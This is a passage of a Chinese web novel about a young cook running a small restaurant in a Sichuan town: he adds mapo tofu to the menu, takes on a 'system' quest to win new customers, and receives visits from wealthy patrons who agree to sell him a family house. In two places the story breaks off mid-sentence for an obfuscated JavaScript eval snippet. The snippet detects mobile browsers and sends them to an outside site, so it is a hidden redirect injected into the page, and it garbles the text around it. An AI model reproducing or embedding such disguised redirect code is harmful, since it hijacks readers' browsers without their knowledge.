黄琛分管经济，他若有心要扶持跷脚牛肉产业，且愿意支持他把跷脚牛肉的名声打出来，还要帮他打击可能出现的恶意竞争，这样的机会他肯定要把握住。 “我估计等他们商量好具体的方案，便会来找你谈了。”周卫国见周砚如此豁达，也就放心了。 “好，到时候我再和他们具体去谈。”周砚点头。 他估摸着，这里边应该有何志远推波助澜，针对一道菜做产业化，乡镇领导还真不一定有那么长远的目光和果决。 桌子一收，周砚和周淼骑上车，把舅公和老太太他们送回了家。 老爷子喝得微醺，他们可不放心让他载着老太太回去。 周淼把他借来的那辆自行车骑回村里，这样他出门也会方便许多。 姨婆那边还需要他上门施针，这来回一趟，走路可有得走。 “周砚，舅公今天吃的真的特别高兴，你的菜烧的太巴适了。”张正平下了车，拉着周砚的手说道。 “舅公喜欢吃，随时骑车来吃，也就十来分钟的事。”周砚笑着说道。 “要得，那你们路上慢慢骑。”张正平松手，叮嘱道。 周砚应了一声，载上老周同志返回饭店。 一盏手电照亮了道路，路过他们家的老房子时，他侧头看了一眼，老周同志也是侧头认真瞧着。 “老汉，还想回来修房子不？”周砚笑问道。 “那肯定想噻。”老周同志笑了笑道：“等我存够钱，就回来把这房子重新修起来，这样我们回村里才有地方住。” “问题不大。”周砚笑着道：“你等我把嘉州的房子弄好，我也帮你存一笔修房子的钱。” “这个事你不管，你先把你要做的事做去，反正短时间内我们也不会回来住。”老周同志收回目光，语气坚定，“你妈说了，我们一家人只要住在一起，在哪里都可以。 你以后想去嘉州发展，只要你需要我们，我们就跟着一起去。你要买城里的房子，那就去买，我们全力支持。” 周砚闻言心头一暖，赵嬢嬢可真是太清醒，也太相信他这个儿子了。 “我算了一下，买房子的钱下个月就能存够，不过推翻重修和装修可能还要花更多钱，我打算边挣钱边整，不着急。”周砚笑着说道：“奶奶说得对，有多大的手端多大的碗。钱慢慢挣，生活好好过，日子长着呢。” “要得，你看着办嘛。”老周同志点头，沉默了一会，又道：“回去再下两把象棋？昨天那步我想明白了，只要换一个走法，你肯定输。” “还不服气啊？要得，陪你再下两把嘛。”周砚笑道。 回到饭店，赵嬢嬢已经把地都拖干净，正在擦桌子，周砚左右没瞧见周沫沫。 赵嬢嬢笑着道：“你们一走就睡戳了，傍晚跟着帆娃东跑西跑玩疯了，晚上倒头就睡，都不用哄。” “你站了一天肯定累了，去泡脚嘛，剩下的我来擦。”老周同志上前从赵嬢嬢的手里接过抹布，温声道。 “要得，就剩这边三张，我锅里烧起热水的，等会你们两个也泡个脚，人都会轻松舒服不少。”赵嬢嬢说着往厨房走去。 “我来端洗脚水。”周砚跟着进门去。 一人脚下摆一个木桶，周砚和老周同志对坐着，象棋已经摆上了。 赵嬢嬢坐在中间，负责给两人当裁判，顺便摆龙门阵。 “我跟你老汉商量了，打算这个周日请几个兄弟和侄儿全家一起来吃个饭热闹一下。之前我们房子垮了，各家各户都拿了钱借给我们渡难关，现在我们也算是在镇上安定下来了，请大家来吃个饭，认认家门。”赵嬢嬢看着周砚道：“你觉得怎么样？” “当然要得。”周砚点头，认真问道：“要不我问问我师父和师兄有没有空，三蒸九扣整起，办得巴巴适适的。” “不用不用，我们又不是摆大席，你要这样整，别个还不晓得要不要给你封红包。”赵嬢嬢笑着摇头，“就按我们菜单上的菜来整，你负责炒，我和你老汉儿给你打下手，就当是家宴，刚好也让叔伯兄弟们尝尝你的手艺。” “我们就吃晚上那顿，这样不影响周杰和周海他们摆摊，也不影响你三位伯伯他们杀牛卖肉，一个星期就是这天生意最好。” 周砚笑着点头，他妈倒是想的妥当：“那我晚上写个菜单，算一下算人数，当天好做准备。” “将！”老周同志得意道。 “老汉儿，你搞偷袭啊！”周砚看着棋盘，眉梢一挑。 …… 今晚以周砚一胜二负惜败收场。 老周同志倒了洗脚水，得意洋洋的搂着老婆上楼睡觉去了。 很显然，今天晚上他能睡个好觉。 周砚拎出钱箱，开始盘点营业额和记账。 今天增加的二十份跷脚牛肉全部卖空，光是这一项的营业额就提升了十二块。 赵嬢嬢的判断是正确的，随着天气变冷，客人们点一碗热腾腾的跷脚牛肉的意愿明显上升。 还没走进饭店，闻着那热腾腾的牛肉汤香气，已经胜过一切推销。 相反，凉拌鸡的销量逐渐降低，每天的备菜量已经从四只鸡减到了三只，随着天气变冷，还有下降空间。 这是客观规律，冬天凉菜不好卖，夏天热汤不好卖。 天冷了就是不想吃冰牙齿的凉菜，热天也喝不下带油腥的热汤。 味道再好，销量一样会降。 卤菜要稍微好一点，但真到了数九寒冬，油脂凝固，猪头肉一样不好卖。 热腾腾的烧菜和炒菜，在冬天会相对更受欢迎。 随季节调整菜单重心，也是一个合格的饭店老板需要做的。 当然，不乏一些任性的老板，只做季节性生意。 比如有些羊肉汤馆只做秋冬两季，春天天气回暖后，便直接关门停业，静待明年秋天降温后再开门。 钱捆好放回箱子，合上账本，周砚从柜子里取出一块木牌，将麻婆豆腐写上，顿了顿，写下价格：0.8元/份。 一份麻婆豆腐用一斤豆腐，还要一两吊龙做哨子，牛骨熬高汤加上配料和各项成本就算他一毛钱，利润能有一半。 这价格和火爆猪肝是一样的。 周砚预计，麻婆豆腐会成为饭店在这个冬天的明星招牌菜。 今天晚上的两盘麻婆豆腐，可是被吃了个精光。 要论下饭，菜单上只有藿香鲫鱼能和它一较高下。 把麻婆豆腐的牌子挂上，周砚目光落在了牛肉烧笋干上，这道烧菜深得客人喜欢，每天能卖出三十五份，比红烧排骨多了近一倍，每天都能售罄。 周砚打算明天试试牛肉烧土豆，先做一份当工作餐，自己人尝尝味，如果味道过关，可以考虑加入菜单。 这道菜，钟勇师叔可是对他倾囊相授，周砚有做牛肉烧笋干的基础在身，又有卤土豆的经验，对火候把控颇有心得，上手应该不难。 土豆和笋干，各有滋味，给客人多一个选择自然不会错。 没办法，红烧排骨价格贵，份量又少，还有骨头，再这个年代显得没什么性价比。 相比之下，牛肉烧笋干份量充足，笋干又好吃下饭，性价比立马凸显出来。 【叮！主线任务发布：破圈计划！周二娃饭店在纺织厂员工圈子中已经具有极高的口碑和知名度，但纺织厂员工之外的客户群体，还有待拓展！请积极拓展新的客户群体，为饭店破圈！】 【任务详情：扩展纺织厂员工之外的客户200位！接受：是/否】 【任务奖励：未知】 周砚刚把牌子挂上，眼角刷新了一个主线任务。 “破圈？”周砚略一思索，选择接受任务。 周二娃饭店目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217904|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主做的就是纺织厂员工的生意，虽然近来也有一些客人从镇上来吃饭，但数量依旧较少，没有形成规模化的破圈效应。 不过，《四川烹饪》杂志若是能把饭店的名气打出来，或许能够带来一些新客。 此外，这个周末的订餐还是得继续干，这可是快速拓展员工之外的圈子的最佳手段。 正常来说，纺织厂员工不会和同事约着在周日来纺织厂门口的饭店吃饭，都是带着家人朋友来吃，有一位算一位，都是符合条件的新客。 …… 第二天天蒙蒙亮，小周和老周便起床去买菜了。 今天周砚又增加了十碗跷脚牛肉的供应量，尽量去满足客人的需求，且多要了两斤牛里脊，用来炒麻婆豆腐用到的牛肉臊子。 周砚他们骑着车回到饭店，便瞧见门口站着一个瘦弱的身影，脚边放着一个背篼，看到他后便咧嘴冲他笑，露出一口整齐的白牙。 “来福？你怎么来了？”周砚把车停下，一脸意外地连着脸颊红扑扑，头顶上冒着热气的来福。 背篼里装的满满当当，两板豆腐，旁边还有一篮子的豆腐干，以及一大捆腐竹。 “不是说我去拿吗，这孩子怎么还给送到店里来了。”周淼也一脸意外。 周砚把车停好，掏出账本翻开一页刷刷写道：“来福，你怎么来了？不是说让我爸去拿豆干和腐竹吗？” 来福接过纸笔，刷刷写道：“你们忙，我给你们送来，奶奶说这段时间先不去桥头卖豆腐了，把砚哥要的豆腐和豆干做好更重要。” 周砚看完若有所思的点头，这应该是孙老太深思熟虑之后做的决定，她身体不好，来福又太过瘦弱，不能透支身体来挣钱。 八斤腐竹，十斤豆腐干，二十斤豆腐，光是他这里订货，收入便是14.4元，利润能有一半左右。 周砚伸手掏钱。 来福又写道：“奶奶说，不要钱，你直接划账，先把债还完。” 周砚看着那字，笑着点点头。 刚好赵红和周立辉也来了，帮着把东西拿进店里，给来福倒了碗水。 “来福看着没啥子肉，力气倒是不小，背起那么多东西走到店里来，不容易啊。”赵红看着来福，眼里有些心疼。 虽然是平辈，但来福和辉辉同岁，在她眼里就是个半大孩子。 来福喝了水，道了谢，背着空背篼脚步轻盈的离开了。 周砚站在门口，看着少年的身影远去，嘴角也是带着笑。 人心都是肉长的，我知你不容易，你也懂我难处，互相才能长久。 姨婆能和老太太交好多年，让老太太这般惦念照顾，为人处世自然是不差的。 “麻婆豆腐！周老板，你终于上新菜了！”**和黄兵今天来的比较早，进门落座先习惯性扫一眼菜单，眼睛顿时一亮。 周砚刚把臊子和浇头炒好从厨房出来，闻声笑着点头：“对，新菜。” 店里没别人，**小声问道：“周老板，麻婆豆腐不是你们孔派的拿手菜吧？我记得乐明饭店的麻婆豆腐做的就普普通通，和我们飞燕酒楼的师傅做的不分伯仲，一点不正宗。” 平等的创死自家酒楼，周砚觉得**的点评应该非常客观，纯食客角度评价。 “不过，乐明饭店的回锅肉、火爆猪肝也没你炒的好吃，火候和调味都差得远。孔二爷一脉是不是不如孔大爷这一脉啊？我老汉儿说，孔怀风大师炒的菜可好吃了，我小时候还吃过几回呢，也是印象深刻。”**满脸好奇的看着周砚，“是不是你做的麻婆豆腐更好吃？” 莫要拱火，周砚可不想当孔派罪人。 不过这丫头嘴确实刁，好坏骗不过她的嘴。 “好不好吃是一种感觉，你要真好奇，中午来点一份不就知道了。”周砚笑着说道。 “好！那我中午肯定点。”**面露期待之色：“我之前吃过蓉城的陈麻婆豆腐，印象深刻，简直是下饭神菜。” 周砚笑而不语，那今天就让你见识一下，什么叫嘉州第一正宗的麻婆豆腐。 “砚哥，你等会抽空再帮我写封情书呗，我来拿卤肉的时候顺便一起拿了。”黄兵掏出两块钱递给周砚，笑容中透着几分谄媚：“写的太有水平了，我能明显感受到雪儿对我态度上的转变。” “要得。”周砚笑着接过钱，两块钱写一页情书，啷个要不得嘛。 不过这位可真是舔狗里的常青树，joker里的顶梁柱，麦当劳的吉祥物，哥谭市的大头目。 蒜鸟蒜鸟，黄公子买单，他开心就好。 真算起来，月抛的黄公子，也不算什么纯情哥。 **撇撇嘴，悠悠道：“出去可别说你是我哥，我丢不起这个人。” 菜单上的麻婆豆腐，引来了不少客人的好奇和关注。 蓉城名菜，但在苏稽镇上还是少见的。 国营饭店的菜单上有这道菜，价格好像是六毛钱一份。 但据吃过蓉城陈麻婆豆腐的人说，国营饭店的麻婆豆腐一点都不正宗，臊子用的猪肉，而且只有一点点，肉味都尝不到，芡勾的也是一塌糊涂。 这菜看着简单，实则不简单。 八毛钱一份，价格不算便宜，但在周二娃饭店的菜单上，倒算是低价菜了。 不少人已经存了中午高低来尝尝的心思。 周砚靠着一道道菜累积起的口碑，足以让客人们闭眼尝试一二。 中午工厂下班前，一辆皇冠缓缓停在了周二娃饭店门口。 后排车门打开，穿着棕色皮衣配黑色半身裙，脚上踩着玛丽珍皮鞋的段语嫣从车上下来，手里提着一个彩色袋子，冲着坐在门口小板凳上的周沫沫笑着开口道：“沫沫！” “香香姐姐！”周沫沫蹭的站了起来，颠颠跑了过去，仰着头看着她头上戴的帽子，一脸惊奇：“今天的帽子像鸭鸭！也好看！” 均订破万了！ 抱一丝，今天太激动了，导致一直没能静下心来码字。 晚上才把自己绑在键盘上。明天一定加更，不然我是狗！ 谢谢大家的支持！ 小破店的一万个创始股东！咱们可真牛逼！ (本章完) 第176章 段总，我这人天生不爱笑（6k二合一 “宝宝，你还是这么有眼光。”段语嫣笑靥如花，弯腰把她抱了起来。 “mua~”周沫沫凑过去亲了她一口，奶声奶气地惊叹道：“哇~语嫣姐姐，你还是那么香！不过，这次像是桃子的香香！” “我的天，你竟然闻得出来水蜜桃的香气。”段语嫣有些惊讶地看着她，她今天用的香水带着一点水蜜桃的香味，其实气味非常淡雅，没想到小家伙竟然闻出来了。 “嗯嗯，我喜欢吃桃桃。”小家伙点着脑袋，笑容灿烂：“也喜欢姐姐。” “你太乖了，好会夸夸，姐姐也喜欢你吖。”段语嫣笑眯眯地亲了她的脸颊一口，把她放到地上，亮了亮手里的盒子：“瞧瞧姐姐给你带了什么东西。” “什么呀？”周沫沫满脸好奇的探过脑袋。 “给你买的小皮衣和小帽子。”段语嫣打开口袋，翻出了一件棕色的小皮衣，然后拿出了一顶酒红色的小鸭舌帽。 周沫沫眼睛亮晶晶的，拍着小手奶声奶气道：“哇哦！跟姐姐的帽子一样，是鸭鸭嘴巴的形状！” “来，戴上我看看。”段语嫣把帽子往周沫沫头上一戴，小家伙今天梳的双马尾，鸭舌帽一戴，大小刚好合适。 “嘿嘿，可爱！还有点酷。”段语嫣颇为满意的点头，牵起周沫沫的手往店里走，“走，把你这小花袄脱了，咱们试试小皮衣，这可是托人从香江带过来的呢，蓉城百货公司的款式有点丑。” 司机小严从主驾下来，小跑到另一边把车门打开，“邱太太，您当心。” “没事。”邱老太下车，她今天穿了一身灰色中长旗袍，头发依旧一丝不苟地挽起，外披一件米白色的披肩，瞧着牵着周沫沫小手的段语嫣，嘴角也是带着笑。 这小家伙太讨喜了，小小一只，嘴巴就那么甜，还都能夸到点上，说明家教好，而且聪慧。 “哎哎哎！那不是皇冠吗！我靠，苏稽都能见到这车啊？！”黄兵和**并排骑着车，瞧见饭店门口停着的小汽车，惊道。 “你激动个铲铲，小汽车又不是第一回见。”**车把晃了晃，给他翻了个白眼。 “你懂锤子，这是皇冠！把咱们飞燕酒楼卖了，都不一定能买得起一辆。”黄兵伸着脖子瞧着，“我还以为嘉州就一辆，之前还来我们饭店吃过饭，是个长得很漂亮的姑娘，挂的还是黑色……” “欸？怎么车牌号一样啊！” 两辆自行车在饭店门口停下。 黄兵和**同时向着店里看去。 一个穿着旗袍，满头银发高高挽起的老太太，和一个穿着皮衣配半身裙的姑娘正往店里走去。 “那不是邱奶奶吗？咱们酒楼的常客啊！”**捂嘴，面露惊色。 “就是她！”黄兵盯住了那头戴鸭舌帽的姑娘，这时髦的穿搭，在嘉州城里根本找不到第二位。 兄妹俩对了一下眼神，从对方的眼里看到了担忧。 “他们和砚哥应该不熟吧？开皇冠的港商，不至于经常跑到镇上来吃饭吧？”黄兵低声说道。 “希望吧。”**小声道。 然后，两人就瞧见饭店内，段语嫣正在给周沫沫穿外套，还是一件棕色的小皮衣。 小家伙的头上还戴着一顶酒红色的鸭舌帽。 这穿搭，跟段语嫣简直一模一样的。 “看样子，不止熟，应该还很熟。”黄兵的笑容中带着几分苦涩。 “那现在只能寄希望于他们不点卤肉了。”**也是轻叹了口气。 飞燕酒楼最怕什么？ 不就是熟客上周砚这吃饭嘛！ 两人把自行车停下。 黄兵感觉后背凉凉的，回头一瞧，便对上了皇冠车主驾位上坐着的司机的目光，冰冷中带着几分凌冽的杀气。 “你说那司机盯着我爪子。”黄兵缩了缩脖子。 “怕你这种黄毛接近他家小姐噻。”**理所当然道。 “锤子！我一看就是好人。”黄兵不服气。 严飞盯着黄兵和**走进饭店，这才收回目光把车停到一旁。 没防住平头也没防住老头的他，已经不再奢望奖金了。 但让他意外的是，这两个星期段小姐和邱太太都没来苏稽，周砚也没有来邱府找段小姐。 段总没把他开除，工资照发，甚至还给他加了五十。 士为知己者死！ 严飞誓死要帮段总保护好段小姐和邱太太，像眼前这种小黄毛，要是出现在邱府附近，已经被他丢的远远的。 防黄毛，他还是有一手的！ 饭店里，周砚和赵嬢嬢站在一旁瞧着换上新衣服的周沫沫。 小皮衣大小刚好合适，款式跟段语嫣自己身上穿着的这件有点像，皮质看着就软和。 周沫沫换上之后，看着精神又可爱，配着头上的鸭舌帽，更是萌萌的。 这就是有钱人买衣服的方式，要的就是合身，根本不会给明年考虑余量，因为他们明年还会给孩子买新的。 “嗯，好看，大小也刚好合身，我的眼光果然准。”段语嫣非常满意的点头，伸手捏了捏周沫沫的肉嘟嘟的脸颊，笑着说道：“姐姐送你的，要好好穿哦。” “好看，而且好暖和啊。”周沫沫转了一圈，伸手摸着身上的皮衣，笑容灿烂：“谢谢语嫣姐姐。” 周砚先和邱老太打了声招呼，看着段语嫣道：“让你破费了，还从香江给她带衣服。” “就是，给娃娃买这么好的衣服。”赵嬢嬢也是一脸不好意思，上回在百货公司她是看过皮衣价格的，一件要上百块呢。 周沫沫这件虽然小，但这可是从香江来的高档货，说不定价格还更贵呢！ “这有什么好破费的，这是我妹，我给她买件衣服算么。”段语嫣理所当然道，看着周沫沫的目光里满是宠溺之色。 周砚心情复杂，这口软饭，周沫沫倒是先吃上了啊！ 他那天只是随口一句，没想到段语嫣还真上心了。 挺好，别的不说，今年过年回村把这小皮衣往身上一穿，周沫沫就是全村最靓的小姑娘。 “对了，我有几句话跟你说。”段语嫣往一旁角落走去，周砚连忙跟了过去。 “我奶奶同意把邱家老宅卖给你了，这几天已经开始腾东西，把她的东西往段家老宅那边搬，估摸着这个月底能搬完。”段语嫣说道。 “真的？！”周砚眼睛一亮，倒是没想到如此顺利。 “我奶奶说，换个人她肯定不卖，但你想要，她愿意卖给你。”段语嫣笑着说道，“她觉得你人不错。” 周砚闻言也笑了，点头道：“下个月初，我应该能把钱凑够。” “那你还挺厉害啊？”段语嫣有些意外地看着周砚，上回周砚才说他手头就两千块钱，下月初就能攒够一万，可见他这饭店的生意属实不错。 “拼了老命挣的钱。”周砚笑道，上扬的嘴角带着几分年少有为的得意。 “我们这事办的漂亮，我爸给了我一套中环的空中别墅，回去直接当分公司总经理。”段语嫣语气淡然道。 周砚脸上的笑容一僵，上扬的嘴角多了几分苦涩。 突然感觉头有点晕，像是中暑了。 不对啊，他出身寒门，怎么还会中暑！ “欸？你怎么不笑了？” “段总，我这人天生不爱笑。”周砚平静道。 “是吗？”段语嫣疑惑地看着他。 “段总有没有不用的钱啊？我可以帮忙花出去。”周砚认真问道。 “爬！”段语嫣撇嘴，“我也是半个四川人！说好了四川人不骗四川人。” “要得，我们也算是互相成就了。”周砚笑着说道。 段语嫣还是靠谱的，至少把房子的事情给他顺利解决了，现在只等他把钱存够。 而且她对周沫沫真挺好的，明明随便买个玩具就能哄开心的小家伙，还特意托人从香江给她带了小衣服，连尺寸都刚好合适。 “点菜吧，我没吃早饭，饿**。”段语嫣笑着看向菜单，眼睛一亮：“麻婆豆腐！新菜啊？我上回在蓉城吃了陈麻婆豆腐，感觉挺下饭的，太多人我没好意思多吃，今天点一份试试。” 那边，周沫沫已经被邱老太喊到跟前，帮她整理衣服，温声说着话。 周砚往外看了一眼，刚好对上了蹲在门口抽烟的严飞的目光，烟雾升腾而起，他的眼神中带着几分杀气。 周砚冲他笑着点了点头，这司机怎么回事，总感觉对他有种莫名的敌意。 严飞盯着周砚，这家伙，果然贼心不死，段小姐来吃饭，都被他单独叫到一旁去说话。 也不知道他说了什么，段小姐好像还挺高兴的，平时多高冷的一个人啊，今天从下车开始就笑个不停。 偏偏他拿这平头一点办法没有。 段位太高了，看起反倒像是段小姐在主动。 该死！这显得他太没用了！ 简直愧对老板的信任！ **和黄兵在门口纠结了一会，还是进门来了，在段语嫣她们旁边那桌坐下，刚好听见段语嫣在点菜。 不要点卤肉！ 千万不要点卤牛肉！ 两人不动声色，却同时竖起耳朵认真听着，同时在心里默默祈祷。 “一份麻婆豆腐，一份红烧排骨，一份回锅肉。”段语嫣顿了顿，侧头看着邱老太，“奶奶，再点一份卤牛肉？” “要得。”邱老太微微颌首。 黄兵和**悬着的心，终于**。 要得！ 还是最喜欢的！ 完球！ “她们能吃出卤肉是一样的吗？”黄兵凑到**耳边，小声问道。 **轻叹了一口气，小声道：“包的，爸说邱奶奶在咱们酒楼吃了几十年饭，每次必点的就是卤牛肉。” 周砚看着兄妹俩，表情也是略有古怪，他们不避避嫌吗？虽然邱老太和段语嫣应该已经吃出卤牛肉是一样的，但多少有点尴尬吧？ 周沫沫注意到了俩人，开心地跟**打招呼：“**姐姐！” “哎，沫沫乖。”**笑着应道，又主动起身和邱老太打招呼道：“邱奶奶，好久不见。” 邱老太打量着**，有些意外道：“你是黄小鸡的女儿黄……” “**。”**笑着接过话。 “对对对，**。”邱老太点头，笑着道：“瘦了，漂亮了，我一时都没认出来。” “听您这么说，我可太高兴了。”**笑着道，还得是长时间没见的人，一眼就看出她瘦了，这都快二十斤了。 不过黄小鸡是啥？老汉儿的小名还是外号？ “邱奶奶。”黄兵跟着喊了一声。 **给介绍道：“这是我哥黄兵。” “哦，跟你老汉儿年轻的时候长得差不多，也是干巴瘦。”邱老太笑着点头。 黄兵有些不好意思，偷偷瞄了一眼段语嫣，顿时有点看呆了。 乖乖！长得太漂亮了吧！气质简直绝了。 而且好会穿啊！ 这身衣服穿身上，看起来可太酷了，跟电视里的明星一样。 这样一对比，包谷雪的脸长了点，鼻子塌了点，嘴巴还大，穿的更是土里土气的，换着花样的花衬衣，气质差太多了。 上回黄兵只看到了一个侧脸和背影，今天看到正脸，比他预想的还要漂亮。 段语嫣也在打量着这兄妹俩，嘴角的笑容带着几分玩味。 自从知道飞燕酒楼的卤肉是从周砚这里进货后，她对飞燕酒楼的好感度下降不少，这段时间只陪奶奶去过一回。 他们兄妹俩胆子还挺大，明知道她奶奶是飞燕酒楼的常客，也不避着点。 **脸圆圆的，声音倒是挺好听，客气有礼貌，笑起来挺有亲和力的，倒是让她有些好感。 就是她这哥哥吧，尖嘴猴腮，看人的目光也不太礼貌，让她有点不太舒服。 简单打了个招呼，**便坐回了位子上，开始点餐。 本来就是客人和老板的关系，打个招呼就算关系处的不错，说的太多反倒惹人烦。 “赵嬢嬢，我们要一份麻婆豆腐，一份牛肉烧笋干。”**开口道。 “再要一份跷脚牛肉。”黄兵补充道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226603|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要得。”赵铁英笑着应道，撕了点菜单往厨房走去。 “那是什么？”段语嫣的目光落到了菜单墙钉了一块木板，上边立着的一本杂志，那杂志封面上是一碗汤，看着有点像跷脚牛肉。 邱老太顺着看去，眼睛微微眯起，有些意外道：“《四川烹饪》杂志，封面看着好像是跷脚牛肉？” “上杂志了？我瞧瞧。”段语嫣闻言，顿时有些按耐不住好奇起身走了过去，走近一看顿时笑了：“还真是！换了个漂亮的青花瓷盆，我一下子都没认出来，不过这牛肉、毛肚就是跷脚牛肉的嘛。” “是周砚做的跷脚牛肉，上回杂志社的副主编来采访他，还照了照片，不光有封面，还写了一篇文章呢。”赵铁英从厨房出来，笑着接过话茬。 “还有专访呢，我瞧瞧。”段语嫣拿起杂志翻开目录，很快在四名揽胜栏目里找到了跷脚牛肉这一篇，翻开一看，洋洋洒洒两页，最上边是周砚站在饭店门口的单人照片。 虽然印刷是黑白的，不过这照片拍的不错，还是能看得出周砚的相貌。 她看书特别快，一会功夫就把两页文章看完了，赞叹道：“这文章写得真好！没想到跷脚牛肉的背后，竟然还有这样一段故事呢，周砚挺厉害的。” “是吗，给我看看。”邱老太闻言也起了几分好奇心，笑着道：“《四川烹饪》杂志可是相当专业，许多一级、特级大师在上边教做菜，我虽然做的不好，但我挺爱看的，第一第二期我还订了。” “您瞧。”段语嫣把杂志拿过来，笑着递给邱老太。 邱老太接过认真看了起来，不时点头，许久方才看完，也是点头道：“从一张残破的菜谱将一道菜复原传承下来，其中困难可想而知，小小年纪有这般心性和毅力，确实厉害。” 她对周砚的印象本就极好，看完这篇文章后，更是觉得这年轻人心性极佳。 段语嫣拿着杂志随手翻看了几页，把它放回原位，看着赵铁英问道：“嬢嬢，这个杂志在嘉州有得卖吗？我想买几本带回去送朋友，好让他们知道我在四川吃的都是些什么美食。” “这个……”赵铁英一时不知该怎么回答。她也不知道这杂志要上哪才能买得到，她还想多买两本呢，一本饭店门口，一本放菜单墙上，还有一本打开好让人看专访页。 “报刊有得卖，不过铺货量都不多，你如果要的多，可能还要多跑几个报刊。”**接过话茬，笑着说道：“我前天刚买了三本，还找周砚要了签名呢。” “还能找周砚签名啊？有意思！”段语嫣闻言乐了，笑着和**道：“谢谢，等我回嘉州就去买。” 她还想着这次回香江，给朋友和亲戚们带什么伴手礼呢，这杂志就挺好的，可以放进大礼包。 到时候让他们看着图片和文章，跟他们讲这跷脚牛肉有多好吃，馋死他们！ 她小姑喜欢做饭，虽然做的特别难吃，但有着和周砚一样的毅力和坚持。 她应该会喜欢这本半教学性质的杂志，也会喜欢周砚这个坚持就是胜利的故事。 段语嫣又和赵铁英道：“嬢嬢，给我们加两份跷脚牛肉，各多加一份牛肉。” “一份够了嘛，多了吃不完。”邱老太说道。 “没事奶奶，严飞还在外面呢，他可爱吃跷脚牛肉了，吃不完的他负责解决。”段语嫣笑盈盈道：“再说了，不是和汪大爷约好了吗，他应该快来了吧。” 说话间，一辆自行车悠悠骑来，停在了饭店门口。 满头白发梳的整整齐齐的汪大爷从车上下来，整了整衣领，向着饭店里走来。 门外蹲着的严飞下意识站了起来，看着汪大爷的背影又默默蹲了回去。 他找人查过这老头的背景，啥也没查到，一张白纸一般干净。 干净到让他不敢再往下查。 邱老太的事，哪轮得到他来管，本来是想查个心安，确保她和段小姐的安全，查完只剩下心惊胆颤。 “汪大爷。”段语嫣招手。 邱老太闻声回头，脸上露出了笑容。 “临时来了两个借书的年轻人，帮他们挑了几本书，让你们久等了。”汪大爷走了过来，带着几分歉意道。 “无妨，我和语嫣也才刚到。”邱老太微笑摇头，“坐嘛。” “要得。”汪大爷点头，在旁边坐下。 段语嫣笑吟吟地看着他道：“汪大爷，我已经把菜点了，你要不要加两个菜？” 汪大爷笑着摇头：“你点菜都是往多了点的，想来我不用加也是够吃的，不加了。” “今天上了新菜，麻婆豆腐，我点了一份，尝尝正不正宗。”段语嫣道。 “好。”汪大爷点头，目光始终落在一旁的邱老太身上，温声道：“绮绮，东西都快搬完了吧？” 邱老太应道：“零零散散的在搬，书房和卧室还没动，等临走了再搬也不迟，我还是习惯住在东大街上。” “绮绮！”**的八卦雷达瞬间启动，假装喝水，悄悄打量着这满头银发，但背挺得笔直，看着气质颇为儒雅的大爷。 她之前听她老汉儿说过邱家老宅要卖的事情，她老汉儿对此颇感兴趣，觉得邱家老宅的位置相当好，正对嘉州码头，又临江，要是能把隔壁买下，一起重建，比现在飞燕酒楼的位置还要更好一些。 要卖房子的好像是邱老太的儿子，现在应该是她孙女在操办这事。 但据说想买房还有个前置条件，要能解邱老太的心结。 至于邱老太的心结是什么，**就不知道了。 不过，今天在苏稽遇上邱老太，又和一位老头一起吃饭，还亲昵的叫她‘绮绮’，或许是非常重要的线索。 **看了眼借着喝水，正偷偷打量人家段姑娘的黄兵，忍不住翻了个白眼。 这死恋爱脑，见一个爱一个！ 人家段姑娘天仙一样的人物你还惦记上了？ 她心里盘算着，要是能帮着她老汉儿把邱家老宅买下，那她就要准备接手了飞燕酒楼了。 愚蠢的哥哥啊，安心当舔狗去吧！ 晚上还会有一更！ (本章完) 第177章 嘉州第一麻婆豆腐！（月票加更1133 这段时间看周砚经营饭店，把纺织厂门口的小饭店经营地红红火火，让**有点心痒痒，脑子里每天都能蹦出来不少经营饭店的新想法。 飞燕酒楼是嘉州百年酒楼，四代人传承，基础可比周二娃饭店好太多了。 要是她来经营，她有信心能做好。 反正肯定比黄兵靠谱。 她本来觉得自己还是个孩子，每天吃吃玩玩，兜里永远装着一把糖和巧克力，日子过得挺开心的。 但周砚的出现，改变了她的一些想法。 周砚不也才二十岁。 她十八岁不小了。 是该开始有一份自己的事业，去干一些事情了！ 这份热情，甚至已经超过了对于周砚的颜控。 这段时间除了来周二娃饭店，其他时间她都泡在自家酒楼里，每天跟着她妈学做账，跟着她老汉儿接待一些贵客。 接触越多，越觉得其中门道不少，但也越发觉得有意思。 她也不知道这事能不能成，但心里先记着，回去跟妈老汉商量商量，看看他们的想法。 厨房里，周砚已经听到汪大爷的声音，嘴角微微上扬。 汪遇也是好起来了，现在时不时还能出来和邱绮约个饭，估计平时书信往来挺密切的。 挺好。 重逢的意义，不就是经常联系吗。 纺织厂下班的铃声响起，工人们从厂里涌出来，目光无一例外被门口停着的小汽车吸引，脚步都不由慢了几分。 这年代小汽车本来就稀罕。 更别说这样一辆崭新的进口小汽车了，挂的还是黑牌照。 “黑牌照是外商的车子吧？是来厂里考察的？” “我看不像，外商来厂里考察，车肯定都是开进厂里的，哪回不是停在办公楼门口的停车场，哪会停到厂门口来。” “说不定是来周二娃饭店吃饭的呢，我昨天就听说周砚做的跷脚牛肉上《四川烹饪》杂志封面了，肯定是闻名而来的客人。” 客人们议论纷纷，目光往饭店里看去，落在了段语嫣身上。 